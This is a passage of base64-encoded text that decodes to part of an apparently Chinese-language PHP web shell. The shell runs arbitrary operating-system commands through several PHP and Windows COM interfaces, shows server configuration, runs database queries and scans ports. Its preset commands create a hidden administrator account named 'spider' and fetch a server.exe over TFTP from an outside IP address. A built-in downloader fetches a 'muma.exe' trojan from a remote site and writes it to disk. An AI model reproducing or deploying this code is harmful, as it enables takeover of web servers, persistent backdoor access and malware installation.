9ESVJ9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj65/cLLzsS8/iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2Z0IiB2YWx1ZT0ieyRTQ0FOX1RZUEV9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj652Lz819a0riA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2ZjIiB2YWx1ZT0ieyRTQ0FOX0NPREV9IiBzdHlsZT0id2lkdGg6Mzk1cHg7Ij4KPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzZmYiIHZhbHVlPSJhIiBjaGVja2VkPsvRy/fOxLz+w/sgCjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2ZmIiB2YWx1ZT0iYiI+y9HL97D8uqzOxNfWPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzZmIiIHZhbHVlPSJhIiBjaGVja2VkPr2ry9HL99Om08PT2rjDzsS8/rzQLNfTzsS8/rzQus3OxLz+Cjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmYiIgdmFsdWU9ImIiPr32vavL0cv306bTw9PauMPOxLz+vNA8L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iv6rKvMmow+giIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+CjwvZm9ybT4KRU5EOwoJaWYoKCFlbXB0eSgkX1BPU1RbJ3NmcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3NmYyddKSkpCgl7CgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOwoJCSRfUE9TVFsnc2Z0J10gPSBzdHJfcmVwbGFjZSgnLicsJ1xcLicsJF9QT1NUWydzZnQnXSk7CgkJJHNmZiA9ICgkX1BPU1RbJ3NmZiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7CgkJJHNmYiA9ICgkX1BPU1RbJ3NmYiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7CgkJZWNobyBGaW5kZmlsZV9BdXRvKCRfUE9TVFsnc2ZwJ10sJF9QT1NUWydzZmMnXSwkX1BPU1RbJ3NmdCddLCRzZmYsJHNmYikgPyAny9HL983qsc8nIDogJ9Lss6PW1da5JzsKCQllY2hvICc8L2Rpdj4nOwoJfQoJcmV0dXJuIHRydWU7Cn0KCi8vz7XNs9DFz6IKCmZ1bmN0aW9uIEluZm9fQ2ZnKCR2YXJuYW1lKXtzd2l0Y2goJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKSl7Y2FzZSAwOiByZXR1cm4gIk5vIjsgYnJlYWs7IGNhc2UgMTogcmV0dXJuICJZZXMiOyBicmVhazsgZGVmYXVsdDogcmV0dXJuICRyZXN1bHQ7IGJyZWFrO319CmZ1bmN0aW9uIEluZm9fRnVuKCRmdW5OYW1lKXtyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICJZZXMiIDogIk5vIjt9CmZ1bmN0aW9uIEluZm9fZigpCnsKCSRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwoJJHVwc2l6ZSA9IGdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7CgkkYWRtaW5tYWlsID0gKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkpID8gIjxhIGhyZWY9XCJtYWlsdG86Ii4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uIlwiPiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiI8L2E+IiA6ICI8YSBocmVmPVwibWFpbHRvOiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iXCI+Ii5nZXRfY2ZnX3Zhcigic2VuZG1haWxfZnJvbSIpLiI8L2E+IjsKCWlmKCRkaXNfZnVuYyA9PSAiIil7JGRpc19mdW5jID0gIk5vIjt9ZWxzZXskZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiICIsIjxicj4iLCRkaXNfZnVuYyk7JGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCI8YnI+IiwkZGlzX2Z1bmMpO30KCSRwaHBpbmZvID0gKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7CgkkaW5mbyA9IGFycmF5KAoJCWFycmF5KCK3/s7xxvfKsbzkIixkYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkpLAoJCWFycmF5KCK3/s7xxvfT8sP7IiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+IiksCgkJYXJyYXkoIrf+zvHG90lQtdjWtyIsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLAoJCWFycmF5KCK3/s7xxvey2df3z7XNsyIsUEhQX09TKSwKCQlhcnJheSgit/7O8cb3stnX98+1zbPOxNfWseDC6yIsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCWFycmF5KCK3/s7xxve94tLr0v3H5iIsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQlhcnJheSgixOO1xElQIixnZXRlbnYoJ1JFTU9URV9BRERSJykpLAoJCWFycmF5KCJXZWK3/s7xtsu/2iIsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLAoJCWFycmF5KCJQSFDUy9DQt73KvSIsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwKCQlhcnJheSgiUEhQsOaxviIsUEhQX1ZFUlNJT04pLAoJCWFycmF5KCLUy9DQ09qwssirxKPKvSIsSW5mb19DZmcoInNhZmVtb2RlIikpLAoJCWFycmF5KCK3/s7xxve53MDt1LEiLCRhZG1pbm1haWwpLAoJCWFycmF5KCKxvs7EvP7Ct762IixfX0ZJTEVfXyksCgkJYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLEluZm9fQ2ZnKCJhbGxvd191cmxfZm9wZW4iKSksCgkJYXJyYXkoItTK0O22r8ysvNPU2MG0vdO/4iBlbmFibGVfZGwiLEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksCgkJYXJyYXkoIs/Uyr607c7z0MXPoiBkaXNwbGF5X2Vycm9ycyIsSW5mb19DZmcoImRpc3BsYXlfZXJyb3JzIikpLAoJCWFycmF5KCLX1LavtqjS5cirvtax5MG/IHJlZ2lzdGVyX2dsb2JhbHMiLEluZm9fQ2ZnKCJyZWdpc3Rlcl9nbG9iYWxzIikpLAoJCWFycmF5KCJtYWdpY19xdW90ZXNfZ3BjIixJbmZvX0NmZygibWFnaWNfcXVvdGVzX2dwYyIpKSwKCQlhcnJheSgis8zQ8tfutuDUytDtyrnTw8TatObBvyBtZW1vcnlfbGltaXQiLEluZm9fQ2ZnKCJtZW1vcnlfbGltaXQiKSksCgkJYXJyYXkoIlBPU1TX7rTz19a92sr9IHBvc3RfbWF4X3NpemUiLEluZm9fQ2ZnKCJwb3N0X21heF9zaXplIikpLAoJCWFycmF5KCLUytDt1+6088nPtKvOxLz+IHVwbG9hZF9tYXhfZmlsZXNpemUiLCR1cHNpemUpLAoJCWFycmF5KCKzzNDy1+6zpNTL0NDKsbzkIG1heF9leGVjdXRpb25fdGltZSIsSW5mb19DZmcoIm1heF9leGVjdXRpb25fdGltZSIpLiLD6yIpLAoJCWFycmF5KCKxu73708O1xLqvyv0gZGlzYWJsZV9mdW5jdGlvbnMiLCRkaXNfZnVuYyksCgkJYXJyYXkoInBocGluZm8oKSIsJHBocGluZm8pLAoJCWFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsaW50dmFsKGRpc2tmcmVlc3BhY2UoIi4iKSAvICgxMDI0ICogMTAyNCkpLidNYicpLAoJCWFycmF5KCLNvNDOtKbA7SBHRCBMaWJyYXJ5IixJbmZvX0Z1bigiaW1hZ2VsaW5lIikpLAoJCWFycmF5KCJJTUFQtefX09PKvP7Ptc2zIixJbmZvX0Z1bigiaW1hcF9jbG9zZSIpKSwKCQlhcnJheSgiTXlTUUzK/b7dv+IiLEluZm9fRnVuKCJteXNxbF9jbG9zZSIpKSwKCQlhcnJheSgiU3lCYXNlyv2+3b/iIixJbmZvX0Z1bigic3liYXNlX2Nsb3NlIikpLAoJCWFycmF5KCJPcmFjbGXK/b7dv+IiLEluZm9fRnVuKCJvcmFfY2xvc2UiKSksCgkJYXJyYXkoIk9yYWNsZSA4IMr9vt2/4iIsSW5mb19GdW4oIk9DSUxvZ09mZiIpKSwKCQlhcnJheSgiUFJFTM/gyN3T77eoIFBDUkUiLEluZm9fRnVuKCJwcmVnX21hdGNoIikpLAoJCWFycmF5KCJQREbOxLW11qez1iIsSW5mb19GdW4oInBkZl9jbG9zZSIpKSwKCQlhcnJheSgiUG9zdGdyZSBTUUzK/b7dv+IiLEluZm9fRnVuKCJwZ19jbG9zZSIpKSwKCQlhcnJheSgiU05NUM34wue53MDt0K3S6SIsSW5mb19GdW4oInNubXBnZXQiKSksCgkJYXJyYXkoItG5y/XOxLz+1qez1ihabGliKSIsSW5mb19GdW4oImd6Y2xvc2UiKSksCgkJYXJyYXkoIlhNTL3izvYiLEluZm9fRnVuKCJ4bWxfc2V0X29iamVjdCIpKSwKCQlhcnJheSgiRlRQIixJbmZvX0Z1bigiZnRwX2xvZ2luIikpLAoJCWFycmF5KCJPREJDyv2+3b/iway90yIsSW5mb19GdW4oIm9kYmNfY2xvc2UiKSksCgkJYXJyYXkoIlNlc3Npb27Wp7PWIixJbmZvX0Z1bigic2Vzc2lvbl9zdGFydCIpKSwKCQlhcnJheSgiU29ja2V01qez1iIsSW5mb19GdW4oImZzb2Nrb3BlbiIpKSwKCSk7CgllY2hvICc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+JzsKCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkaW5mbyk7JGkrKyl7ZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj4nLiRpbmZvWyRpXVswXS4nPC90ZD48dGQ+Jy4kaW5mb1skaV1bMV0uJzwvdGQ+PC90cj4nLiJcbiI7fQoJZWNobyAnPC90YWJsZT4nOwoJcmV0dXJuIHRydWU7Cn0KCi8v1rTQ0MP8we4KCmZ1bmN0aW9uIEV4ZWNfUnVuKCRjbWQpCnsKCSRyZXMgPSAnJzsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkY21kLCRyZXMpOyRyZXMgPSBqb2luKCJcbiIsJHJlcyk7fQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskcmVzID0gQHNoZWxsX2V4ZWMoJGNtZCk7fQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpe0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjbWQpOyRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30KCWVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNtZCwiciIpKSl7JHJlcyA9ICcnO3doaWxlKCFAZmVvZigkZikpeyRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpO31AcGNsb3NlKCRmKTt9CglyZXR1cm4gJHJlczsKfQoKCmZ1bmN0aW9uIEV4ZWNfZygpCnsKCSRyZXMgPSAnu9jP1LSwv9onOwoJJGNtZCA9ICdkaXInOwoJaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKXskcmVzID0gRXhlY19SdW4oJF9QT1NUWydjbWQnXSk7JGNtZCA9ICRfUE9TVFsnY21kJ107fQpwcmludDw8PEVORAo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gc0Z1bGwoaSl7CglTdHIgPSBuZXcgQXJyYXkoMTEpOwoJU3RyWzBdID0gImRpciI7CglTdHJbMV0gPSAibmV0IHVzZXIgc3BpZGVyIHNwaWRlciAvYWRkIjsKCVN0clsyXSA9ICJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBzcGlkZXIgL2FkZCI7CglTdHJbM10gPSAibmV0c3RhdCAtYW4iOwoJU3RyWzRdID0gImlwY29uZmlnIjsKCVN0cls1XSA9ICJjb3B5IGM6XFwxLnBocCBkOlxcMi5waHAiOwoJU3RyWzZdID0gInRmdHAgLWkgMjE5LjEzNC40Ni4yNDUgZ2V0IHNlcnZlci5leGUgYzpcXHNlcnZlci5leGUiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLnZhbHVlID0gU3RyW2ldOwoJcmV0dXJuIHRydWU7Cn0KPC9zY3JpcHQ+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZ2Zvcm0iIGlkPSJnZm9ybSIgYWN0aW9uPSI/cz1nIj48Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+CsP8we6yzsr9IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIGlkPSJjbWQiIHZhbHVlPSJ7JGNtZH0iIHN0eWxlPSJ3aWR0aDozOTlweDsiPgo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPgo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcP8we68r7rPLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+zO2807ncwO3UsTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyIj7J6M6qudzA7dfpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPrLpv7S2y7/aPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiPrLpv7S12Na3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiPri01sbOxLz+PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPkZUUM/C1Ng8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJzaG93IiBzdHlsZT0id2lkdGg6NjYwcHg7aGVpZ2h0OjM5OXB4OyI+eyRyZXN9PC90ZXh0YXJlYT48L2Rpdj48L2NlbnRlcj4KPC9mb3JtPgpFTkQ7CglyZXR1cm4gdHJ1ZTsKfQoKLy/X6bz+vdO/2goKZnVuY3Rpb24gQ29tX2goKQp7Cgkkb2JqZWN0ID0gaXNzZXQoJF9HRVRbJ28nXSkgPyAkX0dFVFsnbyddIDogJ2Fkb2RiJzsKcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1oJm89YWRvZGIiPltBRE9EQi5Db25uZWN0aW9uXTwvYT4gCjxhIGhyZWY9Ij9zPWgmbz13c2NyaXB0Ij5bV1NjcmlwdC5zaGVsbF08L2E+IAo8YSBocmVmPSI/cz1oJm89YXBwbGljYXRpb24iPltTaGVsbC5BcHBsaWNhdGlvbl08L2E+IAo8YSBocmVmPSI/cz1oJm89ZG93bmxvYWRlciI+W0Rvd25sb2FkZXJdPC9hPjwvZGl2Pgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imhmb3JtIiBpZD0iaGZvcm0iIGFjdGlvbj0iP3M9aCZvPXskb2JqZWN0fSI+CkVORDsKaWYoJG9iamVjdCA9PSAnZG93bmxvYWRlcicpCnsKCSRDb21fZHVybCA9IGlzc2V0KCRfUE9TVFsnZHVybCddKSA/ICRfUE9TVFsnZHVybCddIDogJ2h0dHA6Ly93d3cueHNqeWlnZWNhb2RhbmRlZGFtYS5jb20vZG93bi9tdW1hLmV4ZSc7CgkkQ29tX2RwYXRoPSBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pID8gJF9QT1NUWydkcGF0aCddIDogRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykuJy9tdW1hLmV4ZScpOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPrOsway90yA8aW5wdXQgbmFtZT0iZHVybCIgdmFsdWU9InskQ29tX2R1cmx9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7PwtTYtb0gPGlucHV0IG5hbWU9ImRwYXRoIiB2YWx1ZT0ieyRDb21fZHBhdGh9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdmFsdWU9Is/C1NgiIHR5cGU9InN1Ym1pdCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKCWlmKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOwoJCWlmKCEkY29udGVudHMpIGVjaG8gJ87et6i2wcih0qrPwtTYtcTK/b7dJzsKCQllbHNlIGVjaG8gRmlsZV9Xcml0ZSgkX1BPU1RbJ2RwYXRoJ10sJGNvbnRlbnRzLCd3YicpID8gJ8/C1NjOxLz+s8m5picgOiAnz8LU2M7EvP7Kp7DcJzsKCQllY2hvICc8L2Rpdj4nOwoJfQp9CmVsc2VpZigkb2JqZWN0ID09ICd3c2NyaXB0JykKewoJJGNtZCA9IGlzc2V0KCRfUE9TVFsnY21kJ10pID8gJF9QT1NUWydjbWQnXSA6ICdkaXInOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPta00NBDTUTD/MHuIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHZhbHVlPSJ7JGNtZH0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4KRU5EOwoJaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkc2hlbGwgPSBuZXcgQ09NKCd3c2NyaXB0Jyk7CgkJJGV4ZSA9IEAkc2hlbGwtPmV4ZWMoImNtZC5leGUgL2MgIi4kY21kKTsKCQkkb3V0ID0gJGV4ZS0+U3RkT3V0KCk7CgkJJG91dHB1dCA9ICRvdXQtPlJlYWRBbGwoKTsKCQllY2hvICc8cHJlPicuJG91dHB1dC4nPC9wcmU+JzsKCQlAJHNoZWxsLT5SZWxlYXNlKCk7CgkJJHNoZWxsID0gTlVMTDsKCQllY2hvICc8L2Rpdj4nOwoJfQp9CmVsc2VpZigkb2JqZWN0ID09ICdhcHBsaWNhdGlvbicpCnsKCSRydW4gPSBpc3NldCgkX1BPU1RbJ3J1biddKSA/ICRfUE9TVFsncnVuJ10gOiAnY21kLmV4ZSc7CgkkY21kID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyAkX1BPU1RbJ2NtZCddIDogJ2NvcHkgYzpcd2luZG93c1xwaHAuaW5pIGM6XHBocC5pbmknOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPrPM0PLCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJydW4iIHZhbHVlPSJ7JHJ1bn0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsP8we6yzsr9IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHZhbHVlPSJ7JGNtZH0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4KRU5EOwoJaWYoIWVtcHR5KCRfUE9TVFsncnVuJ10pKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkc2hlbGwgPSBuZXcgQ09NKCdhcHBsaWNhdGlvbicpOwoJCWVjaG8gKEAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcnVuLCcvYyAnLiRjbWQpID09ICcwJykgPyAn1rTQ0LPJuaYnIDogJ9a00NDKp7DcJzsKCQlAJHNoZWxsLT5SZWxlYXNlKCk7CgkJJHNoZWxsID0gTlVMTDsKCQllY2hvICc8L2Rpdj4nOwoJfQp9CmVsc2VpZigkb2JqZWN0ID09ICdhZG9kYicpCnsKCSRzdHJpbmcgPSBpc3NldCgkX1BPU1RbJ3N0cmluZyddKSA/ICRfUE9TVFsnc3RyaW5nJ10gOiAnJzsKCSRzcWwgPSBpc3NldCgkX1BPU1RbJ3NxbCddKSA/ICRfUE9TVFsnc3FsJ10gOiAnJzsKcHJpbnQ8PDxFTkQKPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGhGdWxsKGkpewoJaWYoaT09MCB8fCBpPT01KSByZXR1cm4gZmFsc2U7CglTdHIgPSBuZXcgQXJyYXkoMTIpOyAgCglTdHJbMV0gPSAiUHJvdmlkZXI9TWljcm9zb2Z0LkpldC5PTEVEQi40LjA7RGF0YSBTb3VyY2U9XGRiLm1kYiI7CglTdHJbMl0gPSAiRHJpdmVyPXtTcWwgU2VydmVyfTtTZXJ2ZXI9LDE0MzM7RGF0YWJhc2U9RGJOYW1lO1VpZD1zYTtQd2Q9KioqKiI7CglTdHJbM10gPSAiRHJpdmVyPXtNeVNxbH07U2VydmVyPTtQb3J0PTMzMDY7RGF0YWJhc2U9RGJOYW1lO1VpZD1yb290O1B3ZD0qKioqIjsKCVN0cls0XSA9ICJQcm92aWRlcj1NU0RBT1JBLjE7UGFzc3dvcmQ9w9zC6ztVc2VyIElEPdXKusU7RGF0YSBTb3VyY2U9t/7O8cP7O1BlcnNpc3QgU2VjdXJpdHkgSW5mbz1UcnVlOyI7CglTdHJbNl0gPSAiU0VMRUNUICogRlJPTSBbVGFibGVOYW1lXSBXSEVSRSBJRDwxMDAiOwoJU3RyWzddID0gIklOU0VSVCBJTlRPIFtUYWJsZU5hbWVdKFVTRVIsUEFTUykgVkFMVUVTKCdzcGlkZXInLCdteXBhc3MnKSI7CglTdHJbOF0gPSAiREVMRVRFIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ9MTAwIjsKCVN0cls5XSA9ICJVUERBVEUgW1RhYmxlTmFtZV0gU0VUIFVTRVI9J3NwaWRlcicgV0hFUkUgSUQ9MTAwIjsKCVN0clsxMF0gPSAiQ1JFQVRFIFRBQkxFIFtUYWJsZU5hbWVdKElEIElOVCBJREVOVElUWSAoMSwxKSBOT1QgTlVMTCxVU0VSIFZBUkNIQVIoNTApKSI7CglTdHJbMTFdID0gIkRST1AgVEFCTEUgW1RhYmxlTmFtZV0iOwoJU3RyWzEyXSA9ICJBTFRFUiBUQUJMRSBbVGFibGVOYW1lXSBBREQgQ09MVU1OIFBBU1MgVkFSQ0hBUigzMikiOwoJU3RyWzEzXSA9ICJBTFRFUiBUQUJMRSBbVGFibGVOYW1lXSBEUk9QIENPTFVNTiBQQVNTIjsKCWlmKGk8PTQpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJpbmcnKS52YWx1ZSA9IFN0cltpXTt9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3FsJykudmFsdWUgPSBTdHJbaV07fQoJcmV0dXJuIHRydWU7Cn0KPC9zY3JpcHQ+CjxkaXYgY2xhc3M9ImFjdGFsbCI+way909fWt/u0riA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3RyaW5nIiBpZD0ic3RyaW5nIiB2YWx1ZT0ieyRzdHJpbmd9IiBzdHlsZT0id2lkdGg6NTI2cHg7Ij4KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIGhGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3BrL3Tyr7A/S0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPkFjY2Vzc8GsvdM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+TXNTcWzBrL3TPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPk15U3Fsway90zwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij5PcmFjbGXBrL3TPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiPi0tU1FM0++3qC0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPs/Uyr7K/b7dPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciPsztvNPK/b7dPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjgiPsm+s/3K/b7dPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjkiPtDeuMTK/b7dPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj69qMr9vt2x7Twvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+yb7K/b7dse08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPsztvNPX1rbOPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj7JvrP919a2zjwvb3B0aW9uPgo8L3NlbGVjdD48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj5TUUzD/MHuIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWwiIGlkPSJzcWwiIHZhbHVlPSJ7JHNxbH0iIHN0eWxlPSJ3aWR0aDo2NTBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pgo8L2Zvcm0+CkVORDsKCWlmKCFlbXB0eSgkc3RyaW5nKSkKCXsKCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7CgkJJHNoZWxsID0gbmV3IENPTSgnYWRvZGInKTsKCQlAJHNoZWxsLT5PcGVuKCRzdHJpbmcpOwoJCSRyZXN1bHQgPSBAJHNoZWxsLT5FeGVjdXRlKCRzcWwpOwoJCSRjb3VudCA9ICRyZXN1bHQtPkZpZWxkcy0+Q291bnQoKTsKCQlmb3IoJGkgPSAwOyRpIDwgJGNvdW50OyRpKyspeyRGaWVsZFskaV0gPSAkcmVzdWx0LT5GaWVsZHMoJGkpO30KCQllY2hvICRyZXN1bHQgPyAkc3FsLicg1rTQ0LPJuaY8YnI+JyA6ICRzcWwuJyDWtNDQyqew3Dxicj4nOwoJCWlmKCFlbXB0eSgkY291bnQpKXt3aGlsZSghJHJlc3VsdC0+RU9GKXtmb3IoJGkgPSAwOyRpIDwgJGNvdW50OyRpKyspe2VjaG8gaHRtbHNwZWNpYWxjaGFycygkRmllbGRbJGldLT52YWx1ZSkuJzxicj4nO31AJHJlc3VsdC0+TW92ZU5leHQoKTt9fQoJCSRzaGVsbC0+Q2xvc2UoKTsKCQlAJHNoZWxsLT5SZWxlYXNlKCk7CgkJJHNoZWxsID0gTlVMTDsKCQllY2hvICc8L2Rpdj4nOwoJfQp9CglyZXR1cm4gdHJ1ZTsKfQoKLy/JqMPotsu/2goKZnVuY3Rpb24gUG9ydF9pKCkKewoJJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7CgkkUG9ydF9wb3J0ID0gaXNzZXQoJF9QT1NUWydwb3J0J10pID8gJF9QT1NUWydwb3J0J10gOiAnMjF8MjN8MjV8ODB8MTEwfDEzNXwxMzl8NDQ1fDE0MzN8MzMwNnwzMzg5fDQzOTU4JzsKcHJpbnQ8PDxFTkQKPGZvcm0gbWV0aG9kPS